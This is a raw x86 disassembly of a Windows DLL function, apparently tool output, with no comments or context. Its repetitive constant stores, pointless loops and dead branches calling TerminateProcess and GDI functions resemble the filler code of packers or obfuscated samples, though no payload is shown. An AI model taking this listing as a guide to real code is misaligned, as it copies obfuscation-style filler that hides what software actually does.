mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x100380ce
push 8
pop eax
mov dword [ebp - 0x54], 0xc6338430
lea ecx, [ebp - 0x9ec]
mov dword [ebp - 0x2c], 0xb2e4145c
mov dword [ebp - 0x14], eax
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x31
xor eax, eax
mov dword [ebp - 0x20], 0x920a6ff6
mov dword [ebp - 0x30], 0x9e96
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10037deb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9ec]
call fcn.1001872f
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10037dcc
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037e02
push 0xcb3
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10037e48
inc dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x54]
cmp eax, ecx
push 2
pop eax
setne dl
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x2c], edx
push eax
call fcn.1001872f
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
imul edx, dword [eax]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x24]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
dec eax
je 0x10037e51
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10037e53
mov esi, ebx
jmp 0x10037e55
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x630]
call fcn.1001872f
push 2
lea ecx, [ebp - 0x9ec]
mov dword [eax], esi
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x64], eax
pop eax
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x64]
imul ecx, dword [ebp - 0x54]
push 2
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jg 0x100380b3
jmp 0x10037e98
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x48], 0x98e5
mov dword [ebp - 0x68], 0x79c0213a
mov dword [ebp - 0x88], 0xc725ea9b
mov dword [ebp - 0x4c], 0x2d068568
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jg 0x10037f83
jmp 0x10037ed5
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x28]
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, 0xfae3
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
je 0x10037f07
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x9ec]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x64], 0xffffffff
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x64]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x28]
cmp ecx, 0xffffffff
jb 0x10037f41
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x630]
sub eax, dword [ebp - 0x30]
neg eax
push ebx
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
call fcn.1001872f
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x60]
jg 0x10037f6e
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jle 0x10037ed3
push ebx
lea ecx, [ebp - 0x5e8]
call fcn.1001872f
cmp dword [eax], 0
jne 0x1003804c
push 2
pop eax
push eax
lea ecx, [ebp - 0x630]
call fcn.1001872f
push 2
mov esi, 0x80b142b9
lea ecx, [ebp - 0x9ec]
mov dword [eax], esi
pop eax
push eax
call fcn.1001872f
mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
je 0x10037fe4
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x48]
sub ecx, eax
cmp ecx, dword [ebp - 0x44]
je 0x10037fe4
xor eax, eax
lea ecx, [ebp - 0x630]
push eax
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x5e8]
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x5e8]
mov esi, dword [eax]
sub esi, 0xa
call fcn.1001872f
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov ecx, dword [ebp - 0x48]
add ecx, esi
add edx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x5c]
setg bl
xor ecx, ecx
cmp ebx, eax
setg cl
imul ecx, dword [ebp - 0x48]
test ecx, ecx
jne 0x10038032
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10038032
xor ebx, ebx
mov edx, eax
inc ebx
jmp 0x10038037
xor ebx, ebx
inc ebx
mov edx, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x68]
jne 0x1003804c
xor eax, eax
mov edx, eax
jmp 0x1003804e
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x88]
cmp ecx, 0xffffffff
jb 0x1003806c
mov ecx, ebx
cmp dword [ebp - 0x3c], eax
jne 0x1003806e
mov ecx, eax
mov eax, dword [ebp - 0x60]
sub ecx, eax
sub ecx, 0x96ab
neg ecx
push ebx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x64], ecx
lea ecx, [ebp - 0x5e8]
mov eax, dword [ebp - 0x64]
call fcn.1001872f
xor edx, edx
push 2
cmp dword [eax], ebx
mov eax, dword [ebp - 0x48]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x20]
pop ecx
cmp dword [ebp - 0x20], ecx
jle 0x10037e96
lea ecx, [ebp - 0x9ec]
mov byte [ebp - 4], 0x30
call fcn.1001872a
dec dword [ebp - 0x24]
jns 0x10037d8e
push 2
pop esi
lea ecx, [ebp - 0x630]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5e8]
call fcn.1001872a
push 3
lea ecx, [ebp - 0x600]
call fcn.100186a3
mov dword [ebp - 4], 0x32
lea ecx, [ebp - 0x660]
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x64], 4
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x33
xor eax, eax
mov dword [ebp - 0x60], 0x9a83
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1003814f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x600]
call fcn.1001872f
mov dword [eax], 0x9841b3c6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10038130
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10038177
push dword [ebp - 0x24]
lea ecx, [ebp - 0x660]
call fcn.1001872f
mov dword [eax], 0xc47d1afd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10038158
xor eax, eax
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x100384be
push 8
pop eax
mov dword [ebp - 0x54], 0xc6338430
lea ecx, [ebp - 0xa7c]
mov dword [ebp - 0x2c], 0xb2e4145c
mov dword [ebp - 0x14], eax
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x34
xor eax, eax
mov dword [ebp - 0x20], 0x920a6ff6
mov dword [ebp - 0x30], 0x9e96
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100381e0
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa7c]
call fcn.1001872f
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100381c1
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100381f7
push 0xcb3
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1003823d
inc dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
push 2
pop eax
setne dl
lea ecx, [ebp - 0x600]
mov dword [ebp - 0x2c], edx
push eax
call fcn.1001872f
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
imul edx, dword [eax]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x24]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
dec eax
je 0x10038246
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10038248
mov esi, ebx
jmp 0x1003824a
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x660]
call fcn.1001872f
push 2
lea ecx, [ebp - 0xa7c]
mov dword [eax], esi
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x64], eax
pop eax
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x64]
push 2
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jg 0x100384a6
jmp 0x1003828d
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x48], 0x98e5
mov dword [ebp - 0x68], 0x79c0213a
mov dword [ebp - 0x88], 0xc725ea9b
mov dword [ebp - 0x4c], 0x2d068568
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jg 0x10038378
jmp 0x100382ca
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x660]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x28]
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, 0xfae3
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], eax
je 0x100382fc
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xa7c]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x64], 0xffffffff
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x64]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x28]
cmp ecx, 0xffffffff
jb 0x10038336
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x660]
sub eax, dword [ebp - 0x30]
neg eax
push ebx
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
call fcn.1001872f
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x60]
jg 0x10038363
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jle 0x100382c8
push ebx
lea ecx, [ebp - 0x600]
call fcn.1001872f
cmp dword [eax], 0
jne 0x1003843f
push 2
pop eax
push eax
lea ecx, [ebp - 0x660]
call fcn.1001872f
push 2
mov esi, 0x80b142b9
lea ecx, [ebp - 0xa7c]
mov dword [eax], esi
pop eax
push eax
call fcn.1001872f
mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
je 0x100383d7
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x44]
je 0x100383d7
xor eax, eax
lea ecx, [ebp - 0x660]
push eax
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x600]
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x600]
mov esi, dword [eax]
sub esi, 0xa
call fcn.1001872f
mov edx, dword [ebp - 0x48]
xor ebx, ebx
mov ecx, dword [ebp - 0x24]
add ecx, esi
add edx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x5c]
setg bl
xor ecx, ecx
cmp ebx, eax
setg cl
imul ecx, dword [ebp - 0x48]
test ecx, ecx
jne 0x10038425
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10038425
xor ebx, ebx
mov edx, eax
inc ebx
jmp 0x1003842a
xor ebx, ebx
inc ebx
mov edx, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x68]
jne 0x1003843f
xor eax, eax
mov edx, eax
jmp 0x10038441
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x88]
cmp ecx, 0xffffffff
jb 0x1003845f
mov ecx, ebx
cmp dword [ebp - 0x3c], eax
jne 0x10038461
mov ecx, eax
mov eax, dword [ebp - 0x60]
sub ecx, eax
sub ecx, 0x96ab
neg ecx
push ebx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x64], ecx
lea ecx, [ebp - 0x600]
mov eax, dword [ebp - 0x64]
call fcn.1001872f
xor edx, edx
push 2
cmp dword [eax], ebx
mov eax, dword [ebp - 0x48]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x20]
pop ecx
cmp dword [ebp - 0x20], ecx
jle 0x1003828b
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 0x33
call fcn.1001872a
dec dword [ebp - 0x24]
jns 0x10038183
lea ecx, [ebp - 0x660]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x600]
call fcn.1001872a
push 4
lea ecx, [ebp - 0x8ac]
call fcn.100186a3
push ebx
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 4], 0x35
call fcn.100186a3
mov byte [ebp - 4], 0x36
xor eax, eax
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003852d
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8ac]
call fcn.1001872f
mov dword [eax], 0x7571
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003850e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10038553
push dword [ebp - 0x24]
lea ecx, [ebp - 0x4b0]
call fcn.1001872f
mov dword [eax], 0x1febaeef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10038535
xor eax, eax
push eax
lea ecx, [ebp - 0x4b0]
call fcn.1001872f
mov dword [eax], 3
jmp 0x10038626
xor eax, eax
mov dword [ebp - 0x2c], 0xd37ad435
mov dword [ebp - 0x2c], eax
jmp 0x100385aa
mov dword [ebp - 0x28], 0x4f147909
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x100385a7
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8ac]
call fcn.1001872f
mov dword [eax], 4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10038588
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x10038578
push eax
lea ecx, [ebp - 0x4b0]
call fcn.1001872f
lea ecx, [ebp - 0x8ac]
push dword [eax]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0x4b0]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x8ac]
push dword [eax]
call fcn.1001872f
push 3
lea ecx, [ebp - 0x8ac]
mov esi, eax
call fcn.1001872f
mov ecx, dword [eax]
xor eax, eax
mov dword [esi], ecx
test ecx, ecx
je 0x10038604
mov ecx, ebx
cmp dword [ebp - 0x2c], eax
jne 0x10038606
mov ecx, eax
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0x4b0]
sete al
imul eax, eax, 0x9d22
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.1001872f
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x4b0]
push eax
call fcn.1001872f
cmp dword [eax], 0
jge 0x1003856a
lea ecx, [ebp - 0x4b0]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8ac]
call fcn.1001872a
push 4
lea ecx, [ebp - 0x744]
call fcn.100186a3
push ebx
lea ecx, [ebp - 0x584]
mov dword [ebp - 4], 0x37
call fcn.100186a3
mov byte [ebp - 4], 0x38
xor eax, eax
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x100386ac
push dword [ebp - 0x24]
lea ecx, [ebp - 0x744]
call fcn.1001872f
mov dword [eax], 0x7571
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003868d
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100386d2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x584]
call fcn.1001872f
mov dword [eax], 0x1febaeef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100386b4
xor eax, eax
push eax
lea ecx, [ebp - 0x584]
call fcn.1001872f
mov dword [eax], 3
jmp 0x100387a5
xor eax, eax
mov dword [ebp - 0x2c], 0xd37ad435
mov dword [ebp - 0x2c], eax
jmp 0x10038729
mov dword [ebp - 0x28], 0x4f147909
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10038726
push dword [ebp - 0x28]
lea ecx, [ebp - 0x744]
call fcn.1001872f
mov dword [eax], 4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10038707
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x100386f7
push eax
lea ecx, [ebp - 0x584]
call fcn.1001872f
lea ecx, [ebp - 0x744]
push dword [eax]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0x584]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x744]
push dword [eax]
call fcn.1001872f
push 3
lea ecx, [ebp - 0x744]
mov esi, eax
call fcn.1001872f
mov ecx, dword [eax]
xor eax, eax
mov dword [esi], ecx
test ecx, ecx
je 0x10038783
mov ecx, ebx
cmp dword [ebp - 0x2c], eax
jne 0x10038785
mov ecx, eax
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0x584]
sete al
imul eax, eax, 0x9d22
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.1001872f
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x584]
push eax
call fcn.1001872f
cmp dword [eax], 0
jge 0x100386e9
lea ecx, [ebp - 0x584]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x744]
call fcn.1001872a
mov dword [ebp - 0x48], 0xc70bb743
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x67e307b5
mov dword [ebp - 0x5c], 4
mov dword [ebp - 0x30], 0xf5ae
mov dword [ebp - 0x54], 0x65f
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038821
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10b0], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003880d
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038841
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x28c], 0xe7ed6f18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038829
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038861
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x334], 0xe9ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038849
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038881
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x378], 0x8158fb5c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038869
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x100388bd
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x68], 0xec4279c4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100388b4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1070], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003889c
xor eax, eax
inc dword [ebp - 0x334]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x10038886
mov eax, dword [ebp - 0x30]
xor edx, edx
inc dword [ebp - 0x378]
mov esi, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
lea ecx, [edx + esi]
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x28c], edx
test edx, edx
je 0x100388fe
mov eax, dword [ebp - 0x334]
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x804]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x30], eax
push 4
call fcn.100186a3
push ebx
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 4], 0x39
call fcn.100186a3
mov byte [ebp - 4], 0x3a
xor eax, eax
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10038968
push dword [ebp - 0x24]
lea ecx, [ebp - 0x804]
call fcn.1001872f
mov dword [eax], 0x7571
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10038949
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003898e
push dword [ebp - 0x24]
lea ecx, [ebp - 0x4c8]
call fcn.1001872f
mov dword [eax], 0x1febaeef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10038970
xor eax, eax
push eax
lea ecx, [ebp - 0x4c8]
call fcn.1001872f
mov dword [eax], 3
jmp 0x10038a61
xor eax, eax
mov dword [ebp - 0x2c], 0xd37ad435
mov dword [ebp - 0x2c], eax
jmp 0x100389e5
mov dword [ebp - 0x28], 0x4f147909
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x100389e2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x804]
call fcn.1001872f
mov dword [eax], 4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x100389c3
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x100389b3
push eax
lea ecx, [ebp - 0x4c8]
call fcn.1001872f
lea ecx, [ebp - 0x804]
push dword [eax]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0x4c8]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x804]
push dword [eax]
call fcn.1001872f
push 3
lea ecx, [ebp - 0x804]
mov esi, eax
call fcn.1001872f
mov ecx, dword [eax]
xor eax, eax
mov dword [esi], ecx
test ecx, ecx
je 0x10038a3f
mov ecx, ebx
cmp dword [ebp - 0x2c], eax
jne 0x10038a41
mov ecx, eax
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0x4c8]
sete al
imul eax, eax, 0x9d22
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.1001872f
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x4c8]
push eax
call fcn.1001872f
cmp dword [eax], 0
jge 0x100389a5
lea ecx, [ebp - 0x4c8]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x804]
call fcn.1001872a
mov dword [ebp - 0x24], 0xa4f833fc
xor eax, eax
mov dword [ebp - 0x34], 0x4a1cf041
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10038acb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x75c], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10038ab2
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jg 0x10038ba6
mov dword [ebp - 0x38], 0x74e80031
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x75c], 0x64caf14c
jg 0x10038b46
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
push 2
mov eax, dword [ebp + eax*4 - 0x75c]
neg eax
cmp eax, 0x57f6cc9c
setge cl
xor eax, eax
cmp ecx, 7
setne al
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x75c]
cmp eax, 0xfd5009cb
mov eax, 0xa186f17a
setne cl
sub eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
pop ecx
mov eax, dword [ebp + eax*4 - 0x75c]
mov eax, dword [ebp - 0x38]
sub eax, 0xd1f0
je 0x10038b81
xor eax, eax
mov dword [ebp - 0x38], 0xc9f196e6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10038b98
push eax
push 0xeca
push 0x884
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 2
pop ecx
jmp 0x10038b98
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10038b93
cmp dword [ebp - 0x758], eax
jne 0x10038b98
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x10038b88
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x10038ada
xor eax, eax
mov dword [ebp - 0x34], 0xfffffffd
jmp 0x10038be2
mov dword [ebp - 0x54], 0xf451
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10038bc5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xa1dd7933
push 0
sbb eax, eax
neg eax
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
pop eax
cmp dword [ebp - 0x34], 0xfffffff1
jge 0x10038baf
mov dword [ebp - 0x48], 0xc70bb743
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x67e307b5
mov dword [ebp - 0x5c], 4
mov dword [ebp - 0x30], 0xf5ae
mov dword [ebp - 0x54], 0x65f
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038c33
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1194], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038c1f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038c53
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b0], 0xe7ed6f18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038c3b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038c73
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a8], 0xe9ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038c5b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038c93
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a0], 0x8158fb5c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038c7b
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x10038ccf
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x68], 0xec4279c4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10038cc6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1080], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10038cae
xor eax, eax
inc dword [ebp - 0x2a8]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x10038c98
mov eax, dword [ebp - 0x30]
xor edx, edx
inc dword [ebp - 0x2a0]
mov esi, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
